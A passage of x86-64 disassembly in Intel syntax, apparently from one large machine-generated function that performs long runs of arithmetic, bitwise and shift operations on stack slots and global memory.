mov rax, qword [rsp + 0xb098]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1cb]
and eax, ecx
mov byte [rsp + 0x152], al
movzx eax, word [rsp + 0x1044]
mov rcx, qword [0x14019d910]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xfb8], ax
mov rax, qword [rsp + 0xb610]
movzx eax, word [rax]
mov word [rsp + 0x119c], ax
mov rax, qword [rsp + 0xaa20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad60]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa558]
mov byte [rcx], al
mov rax, qword [rsp + 0xb940]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3da0]
or ecx, eax
mov eax, ecx
mov dword [0x14019bfc4], eax
lea rax, [rsp + 0x46f0]
mov qword [rsp + 0xbda0], rax
movzx eax, word [rsp + 0xbec]
movzx ecx, word [rsp + 0x10cc]
xor eax, ecx
mov word [rsp + 0x10e8], ax
movzx eax, byte [0x14019900c]
movzx ecx, byte [rsp + 0x180]
add eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0xae90]
mov eax, dword [rax]
mov dword [rsp + 0x4818], eax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xb090]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x431c], eax
mov rax, qword [0x14019dad0]
mov eax, dword [rax]
mov dword [rsp + 0x481c], eax
mov rax, qword [rsp + 0xbc88]
mov rcx, qword [rsp + 0xa680]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4694], eax
movzx eax, byte [rsp + 0x1ea]
mov rcx, qword [rsp + 0xab28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [0x14019dab0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb520]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019bff4], ax
mov rax, qword [rsp + 0xb358]
mov ecx, dword [rsp + 0x44c0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x346c], eax
mov rax, qword [rsp + 0xafb8]
mov ecx, dword [rsp + 0x4598]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa8f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x42e8]
mov dword [rsp + 0x4820], eax
mov eax, dword [rsp + 0x47f4]
mov ecx, dword [rsp + 0x43c8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa810]
mov dword [rcx], eax
mov rax, qword [0x14019dad0]
mov eax, dword [rax]
mov dword [rsp + 0x4824], eax
mov rax, qword [rsp + 0xa658]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa6d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1170], ax
mov rax, qword [rsp + 0xa620]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fe]
sub eax, ecx
mov byte [rsp + 0x1b0], al
mov rax, qword [0x14019da18]
movzx eax, word [rax]
mov word [rsp + 0x11a0], ax
mov rax, qword [rsp + 0xb818]
movzx eax, byte [rax]
mov byte [0x14019d7e4], al
mov rax, qword [rsp + 0xbd70]
mov ecx, dword [rsp + 0x43ec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb048]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb8c8]
mov eax, dword [rax]
mov dword [rsp + 0x4828], eax
mov rax, qword [0x14019d980]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb258]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x172], al
movzx eax, word [rsp + 0xcf8]
mov rcx, qword [rsp + 0xa868]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb730]
mov word [rcx], ax
mov eax, dword [rsp + 0x35e8]
mov dword [rsp + 0x482c], eax
mov rax, qword [0x14019dbd8]
mov ecx, dword [rsp + 0x4658]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4228], eax
mov rax, qword [rsp + 0xbc60]
mov eax, dword [rax]
mov dword [rsp + 0x4830], eax
mov rax, qword [rsp + 0xadf8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb3d0]
mov qword [rsp + 0xbda8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbda8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x44d8], eax
movzx eax, byte [rsp + 0x1e1]
movzx ecx, byte [rsp + 0x160]
and eax, ecx
mov rcx, qword [0x14019d9e0]
mov byte [rcx], al
movzx eax, word [rsp + 0xfbc]
mov rcx, qword [rsp + 0xb290]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa990]
mov word [rcx], ax
lea rax, [rsp + 0x4664]
mov qword [rsp + 0xbdb0], rax
mov rax, qword [rsp + 0xbb80]
mov ecx, dword [rsp + 0x442c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4728], eax
movzx eax, word [rsp + 0x10d0]
mov word [rsp + 0x11a4], ax
mov rax, qword [rsp + 0xa900]
movsx eax, byte [rax]
mov rcx, qword [0x14019d798]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x178], al
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb860]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1040], ax
lea rax, [rsp + 0x134]
mov qword [rsp + 0xbdb8], rax
mov rax, qword [rsp + 0xaba0]
mov rcx, qword [rsp + 0xab50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x45a0], eax
mov rax, qword [rsp + 0xac70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x451c]
sub ecx, eax
mov eax, ecx
mov dword [0x14019bee8], eax
mov rax, qword [rsp + 0xaa48]
mov eax, dword [rax]
mov dword [rsp + 0x4834], eax
mov rax, qword [0x14019db30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3348]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb580]
mov dword [rcx], eax
lea rax, [rsp + 0x4834]
mov qword [rsp + 0xbdc0], rax
mov rax, qword [rsp + 0xb100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11a0]
sub eax, ecx
mov rcx, qword [rsp + 0xaae8]
mov word [rcx], ax
mov rax, qword [rsp + 0xabe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
sar eax, cl
mov byte [rsp + 0x1c8], al
lea rax, [rsp + 0x43fc]
mov qword [rsp + 0xbdc8], rax
mov rax, qword [rsp + 0xac98]
mov ecx, dword [rsp + 0x44c0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x42c4], eax
mov rax, qword [rsp + 0xb230]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x424c]
shl eax, cl
mov dword [rsp + 0x36f0], eax
mov eax, dword [rsp + 0x46f0]
mov ecx, dword [rsp + 0x4560]
or ecx, eax
mov eax, ecx
mov dword [0x14019bff8], eax
movzx eax, word [rsp + 0xcec]
movzx ecx, word [rsp + 0xfc0]
and eax, ecx
mov word [rsp + 0xf3c], ax
mov rax, qword [rsp + 0xb718]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa958]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb340]
mov byte [rcx], al
lea rax, [rsp + 0x7b]
mov qword [rsp + 0xbdd0], rax
mov rax, qword [rsp + 0xb810]
movsx eax, word [rax]
movsx ecx, word [0x14019bf04]
sub eax, ecx
mov word [rsp + 0xee0], ax
mov rax, qword [rsp + 0xb118]
mov eax, dword [rax]
mov dword [rsp + 0x4838], eax
mov rax, qword [rsp + 0xb800]
mov ecx, dword [rsp + 0x42d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb998]
mov dword [rcx], eax
mov rax, qword [0x14019db38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e6]
sub eax, ecx
mov rcx, qword [rsp + 0xa618]
mov byte [rcx], al
lea rax, [rsp + 0x1128]
mov qword [rsp + 0xbdd8], rax
mov rax, qword [rsp + 0xb0d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4230]
and ecx, eax
mov eax, ecx
mov dword [0x14019bffc], eax
mov rax, qword [0x14019d7d8]
mov rcx, qword [rsp + 0xb7c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa920]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf78]
mov eax, dword [rax]
mov dword [rsp + 0x483c], eax
mov eax, dword [rsp + 0x4710]
mov ecx, dword [rsp + 0x473c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4018], eax
movzx eax, word [str.a_t_nJ]
mov word [rsp + 0x11a8], ax
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0xb818]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x205], al
mov rax, qword [rsp + 0xb6b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4728]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b8], eax
mov eax, dword [rsp + 0x45d4]
mov dword [rsp + 0x4840], eax
mov rax, qword [rsp + 0xbdb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3dd0]
shl eax, cl
mov dword [rsp + 0x44a4], eax
mov rax, qword [rsp + 0xbb58]
mov ecx, dword [str.Po.b]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019bfac], eax
lea rax, [rsp + 0x41f4]
mov qword [rsp + 0xbde0], rax
mov rax, qword [rsp + 0xad80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa9b0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb710]
mov byte [rcx], al
mov rax, qword [rsp + 0xb440]
movsx eax, word [rax]
movsx ecx, word [0x14019bf80]
sar eax, cl
mov word [rsp + 0x10ac], ax
lea rax, [rsp + 0xf2c]
mov qword [rsp + 0xbde8], rax
mov rax, qword [rsp + 0xa930]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
and eax, ecx
mov rcx, qword [rsp + 0xaf48]
mov byte [rcx], al
mov eax, dword [rsp + 0x4274]
mov dword [rsp + 0x4844], eax
mov rax, qword [rsp + 0xb4a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x42ec], eax
mov rax, qword [rsp + 0xb860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1080], ax
mov rax, qword [rsp + 0xabe8]
movzx eax, byte [rax]
mov byte [0x14019d7e5], al
lea rax, [rsp + 0x3e98]
mov qword [rsp + 0xbdf0], rax
mov rax, qword [rsp + 0xbc28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44fc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbda0]
mov dword [rcx], eax
lea rax, [rsp + 0x43d4]
mov qword [rsp + 0xbdf8], rax
mov rax, qword [0x14019db50]
mov rcx, qword [rsp + 0xa708]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x454c], eax
mov rax, qword [rsp + 0xb448]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x163]
add eax, ecx
mov byte [rsp + 0x18e], al
lea rax, [rsp + 0xefc]
mov qword [rsp + 0xbe00], rax
mov rax, qword [0x14019db40]
mov ecx, dword [rsp + 0x4624]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb070]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb490]
mov eax, dword [rax]
mov dword [rsp + 0x4848], eax
mov rax, qword [rsp + 0xa818]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019d9d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa5f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc94]
sub eax, ecx
mov word [rsp + 0x106c], ax
lea rax, [rsp + 0x10c8]
mov qword [rsp + 0xbe08], rax
movzx eax, byte [rsp + 0x156]
movzx ecx, byte [rsp + 0x189]
add eax, ecx
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0xaaa0]
mov rcx, qword [rsp + 0xb9f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x44b0], eax
mov eax, dword [rsp + 0x43f4]
mov dword [rsp + 0x484c], eax
mov eax, dword [rsp + 0x452c]
mov rcx, qword [rsp + 0xb880]
mov qword [rsp + 0xbe10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbe10]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa910]
mov dword [rcx], eax
lea rax, [rsp + 0x426c]
mov qword [rsp + 0xbe18], rax
mov eax, dword [rsp + 0x41c0]
mov rcx, qword [rsp + 0xad30]
mov qword [rsp + 0xbe20], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbe20]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x416c], eax
movzx eax, word [rsp + 0xf40]
movzx ecx, word [0x14019da2c]
xor eax, ecx
mov rcx, qword [rsp + 0xa500]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1aa]
movzx ecx, byte [rsp + 0x134]
and eax, ecx
mov byte [0x14019bf67], al
lea rax, [rsp + 0x41d0]
mov qword [rsp + 0xbe28], rax
mov rax, qword [rsp + 0xaa50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4218]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4788], eax
mov rax, qword [rsp + 0xa598]
mov eax, dword [rax]
mov dword [rsp + 0x4850], eax
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4620]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x427c], eax
mov rax, qword [rsp + 0xb718]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10d]
sub eax, ecx
mov byte [rsp + 0x19f], al
movzx eax, word [rsp + 0x10b4]
movzx ecx, word [rsp + 0x10c4]
add eax, ecx
mov word [rsp + 0xc7c], ax
mov rax, qword [rsp + 0xa790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x115c]
sub eax, ecx
mov word [rsp + 0x1138], ax
mov rax, qword [rsp + 0xba88]
movzx eax, byte [rax]
mov byte [rsp + 0x206], al
mov rax, qword [rsp + 0xbb10]
mov rcx, qword [rsp + 0xbd98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019db50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa460]
mov ecx, dword [rsp + 0x44a0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3578], eax
mov rax, qword [rsp + 0xac40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf98]
add eax, ecx
mov rcx, qword [rsp + 0xad68]
mov word [rcx], ax
mov rax, qword [rsp + 0xb0c8]
movzx eax, byte [rax]
mov byte [rsp + 0x207], al
mov rax, qword [0x14019d7d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3494]
shl eax, cl
mov dword [rsp + 0x4574], eax
mov eax, dword [rsp + 0x4544]
mov dword [rsp + 0x4854], eax
mov rax, qword [rsp + 0xa5b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xac68]
mov qword [rsp + 0xbe30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbe30]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xab30]
mov dword [rcx], eax
lea rax, [rsp + 0x4610]
mov qword [rsp + 0xbe38], rax
movzx eax, word [0x14019bf54]
mov rcx, qword [rsp + 0xaf40]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa850]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1d8]
mov rcx, qword [rsp + 0xa720]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14019bf56], al
mov rax, qword [rsp + 0xa678]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4280]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb10]
mov dword [rcx], eax
lea rax, [rsp + 0x4378]
mov qword [rsp + 0xbe40], rax
mov eax, dword [rsp + 0x4740]
mov ecx, dword [rsp + 0x46d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x45d4], eax
mov eax, dword [0x14019bfec]
mov dword [rsp + 0x4858], eax
mov rax, qword [rsp + 0xb268]
mov rcx, qword [rsp + 0xa590]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41dc], eax
mov rax, qword [rsp + 0xbb30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd48]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xba70]
mov byte [rcx], al
mov rax, qword [rsp + 0xb7d8]
movzx eax, word [rax]
mov word [rsp + 0x11ac], ax
movzx eax, word [rsp + 0xf28]
movzx ecx, word [rsp + 0xf10]
sub eax, ecx
mov word [rsp + 0xf08], ax
lea rax, [rsp + 0x19b]
mov qword [0x14019dbe0], rax
mov rax, qword [rsp + 0xa8c8]
mov eax, dword [rax]
mov dword [rsp + 0x485c], eax
mov rax, qword [rsp + 0xa428]
mov ecx, dword [rsp + 0x4764]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3da0], eax
mov rax, qword [rsp + 0xafd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaa78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb0b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb690]
movzx eax, word [rax]
mov word [rsp + 0x11b0], ax
mov rax, qword [0x14019da40]
mov rcx, qword [rsp + 0xb108]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4750], eax
mov eax, dword [rsp + 0x3acc]
mov dword [rsp + 0x4860], eax
mov rax, qword [rsp + 0xa948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x472c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb9d0]
mov dword [rcx], eax
lea rax, [rsp + 0x46c4]
mov qword [rsp + 0xbe48], rax
mov rax, qword [rsp + 0xb3a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb020]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14019d980]
mov byte [rcx], al
movzx eax, word [rsp + 0x1044]
movzx ecx, word [0x14019da2c]
xor eax, ecx
mov word [rsp + 0x1158], ax
mov eax, dword [rsp + 0x4718]
movzx ecx, al
mov eax, dword [rsp + 0x47dc]
shl eax, cl
mov dword [rsp + 0x41fc], eax
mov rax, qword [rsp + 0xae80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb110]
mov qword [rsp + 0xbe50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbe50]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x38a8], eax
mov rax, qword [rsp + 0xb7c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7b]
or eax, ecx
mov byte [rsp + 0x1bc], al
mov rax, qword [rsp + 0xaa70]
movzx eax, word [rax]
mov word [rsp + 0x11b4], ax
mov rax, qword [rsp + 0xb460]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb4d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf24], ax
mov rax, qword [rsp + 0xaeb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb708]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xae48]
mov byte [rcx], al
lea rax, [rsp + 0x43f4]
mov qword [rsp + 0xbe58], rax
mov eax, dword [0x14019bfbc]
mov ecx, dword [rsp + 0x4224]
and ecx, eax
mov eax, ecx
mov dword [0x14019c000], eax
mov rax, qword [rsp + 0xb108]
mov rcx, qword [rsp + 0xb110]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4830], eax
lea rax, [rsp + 0x4464]
mov qword [rsp + 0xbe60], rax
mov eax, dword [rsp + 0x4528]
mov ecx, dword [rsp + 0x4170]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb848]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa768]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb910]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd68], ax
lea rax, [rsp + 0x1ce]
mov qword [rsp + 0xbe68], rax
mov eax, dword [rsp + 0x42d8]
mov ecx, dword [rsp + 0x4578]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44b4], eax
mov eax, dword [rsp + 0x47c0]
mov dword [rsp + 0x4864], eax
mov rax, qword [rsp + 0xaff0]
mov ecx, dword [rsp + 0x44e8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa910]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa810]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019db40]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1080]
movzx ecx, word [rsp + 0xf14]
sub eax, ecx
mov rcx, qword [rsp + 0xb390]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1d8]
mov byte [rsp + 0x208], al
mov rax, qword [rsp + 0xac20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1190], ax
mov rax, qword [rsp + 0xa620]
movzx eax, byte [rax]
mov byte [rsp + 0x209], al
mov rax, qword [rsp + 0xace0]
mov rcx, qword [rsp + 0xad40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4364], eax
mov eax, dword [rsp + 0x4694]
mov dword [rsp + 0x4868], eax
movzx eax, byte [rsp + 0x189]
movzx ecx, byte [rsp + 0x1dd]
or eax, ecx
mov rcx, qword [rsp + 0xb130]
mov byte [rcx], al
mov rax, qword [rsp + 0xa750]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb538]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1064], ax
mov eax, dword [rsp + 0x4558]
mov dword [0x14019dbe8], eax
lea rax, [rsp + 0x46f0]
mov qword [rsp + 0xbe70], rax
mov rax, qword [rsp + 0xbc28]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa740]
mov qword [rsp + 0xbe78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbe78]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x46f0], eax
mov eax, dword [rsp + 0x44c0]
mov dword [rsp + 0x486c], eax
movzx eax, word [0x14019d850]
mov rcx, qword [rsp + 0xbdd8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf58], ax
movzx eax, byte [rsp + 0x16b]
mov rcx, qword [rsp + 0xbdb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x172], al
lea rax, [rsp + 0x417c]
mov qword [rsp + 0xbe80], rax
mov rax, qword [rsp + 0xaa10]
mov eax, dword [rax]
mov ecx, dword [0x14019bee8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x464c], eax
mov rax, qword [rsp + 0xbd60]
mov eax, dword [rax]
mov dword [rsp + 0x4870], eax
mov eax, dword [0x14019dbb8]
mov ecx, dword [rsp + 0x35e8]
and ecx, eax
mov eax, ecx
mov dword [0x14019bf60], eax
mov rax, qword [rsp + 0xa910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4848]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x442c], eax
movsx eax, byte [rsp + 0x1eb]
mov rcx, qword [rsp + 0xad80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb7c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x10dc]
mov word [rsp + 0x11b8], ax
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0x1168]
add eax, ecx
mov word [rsp + 0x10f0], ax
lea rax, [rsp + 0x1ee]
mov qword [rsp + 0xbe88], rax
mov eax, dword [0x14019db28]
mov ecx, dword [rsp + 0x43a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41fc], eax
lea rax, [rsp + 0x4330]
mov qword [rsp + 0xbe90], rax
movzx eax, byte [rsp + 0x1ee]
movzx ecx, byte [rsp + 0x1c3]
add eax, ecx
mov rcx, qword [rsp + 0xaa78]
mov byte [rcx], al
lea rax, [rsp + 0xf68]
mov qword [0x14019dbf0], rax
mov rax, qword [rsp + 0xb8f0]
mov eax, dword [rax]
mov ecx, dword [0x14019bfc4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xabe0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x44ac]
movzx ecx, al
mov eax, dword [rsp + 0x4610]
sar eax, cl
mov dword [rsp + 0x34d0], eax
mov eax, dword [rsp + 0x483c]
mov ecx, dword [str.so_g_]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x41a8], eax
lea rax, [rsp + 0x42f8]
mov qword [rsp + 0xbe98], rax
movzx eax, word [rsp + 0xf5c]
movzx ecx, word [rsp + 0xf54]
shl eax, cl
mov word [rsp + 0x10fc], ax
movzx eax, byte [0x14019bef3]
mov rcx, qword [rsp + 0xbbf0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ac], al
lea rax, [rsp + 0x4188]
mov qword [rsp + 0xbea0], rax
mov rax, qword [rsp + 0xaa08]
mov ecx, dword [rsp + 0x42f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4414], eax
movsx eax, word [0x14019bf80]
movsx ecx, word [rsp + 0x109c]
sub eax, ecx
mov word [0x14019c004], ax
lea rax, [rsp + 0x1fe]
mov qword [rsp + 0xbea8], rax
mov rax, qword [rsp + 0xb258]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x172]
add eax, ecx
mov byte [rsp + 0xac], al
movzx eax, word [rsp + 0x103c]
mov rcx, qword [rsp + 0xaf20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10e8], ax
lea rax, [rsp + 0x4604]
mov qword [rsp + 0xbeb0], rax
mov rax, qword [0x14019d7b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4390]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x47bc]
mov dword [rsp + 0x4874], eax
mov rax, qword [rsp + 0xb8d0]
mov ecx, dword [rsp + 0x45ec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4450], eax
mov rax, qword [rsp + 0xa980]
mov ecx, dword [0x14019d790]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x47bc], eax
movzx eax, word [rsp + 0x1084]
mov word [rsp + 0x11bc], ax
movzx eax, byte [rsp + 0x177]
mov rcx, qword [rsp + 0xaa58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14019d9c8]
mov byte [rcx], al
mov rax, qword [0x14019d9e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4274]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x46f4]
mov dword [rsp + 0x4878], eax
mov eax, dword [rsp + 0x44ac]
mov rcx, qword [rsp + 0xaff0]
mov qword [rsp + 0xbeb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbeb8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x474c], eax
mov rax, qword [rsp + 0xb280]
mov eax, dword [rax]
mov dword [rsp + 0x487c], eax
mov rax, qword [0x14019da78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf08]
or eax, ecx
mov rcx, qword [rsp + 0xaed0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb450]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbce8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1b7], al
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0x20a], al
mov rax, qword [rsp + 0xaed8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1138]
shl eax, cl
mov rcx, qword [rsp + 0xba48]
mov word [rcx], ax
mov rax, qword [rsp + 0xb9a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x335c]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x14019dbd8]
mov dword [rcx], eax
lea rax, [rsp + 0x4188]
mov qword [rsp + 0xbec0], rax
movzx eax, byte [rsp + 0x18e]
movzx ecx, byte [rsp + 0x205]
add eax, ecx
mov byte [rsp + 0x1cd], al
mov rax, qword [rsp + 0xb930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd5c]
add eax, ecx
mov rcx, qword [rsp + 0xbe00]
mov word [rcx], ax
mov eax, dword [rsp + 0x43c4]
mov dword [rsp + 0x4880], eax
mov rax, qword [rsp + 0xbe60]
mov ecx, dword [rsp + 0x44b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42a4], eax
mov rax, qword [rsp + 0xaf18]
mov eax, dword [rax]
mov dword [rsp + 0x4884], eax
mov rax, qword [rsp + 0xa948]
mov eax, dword [rax]
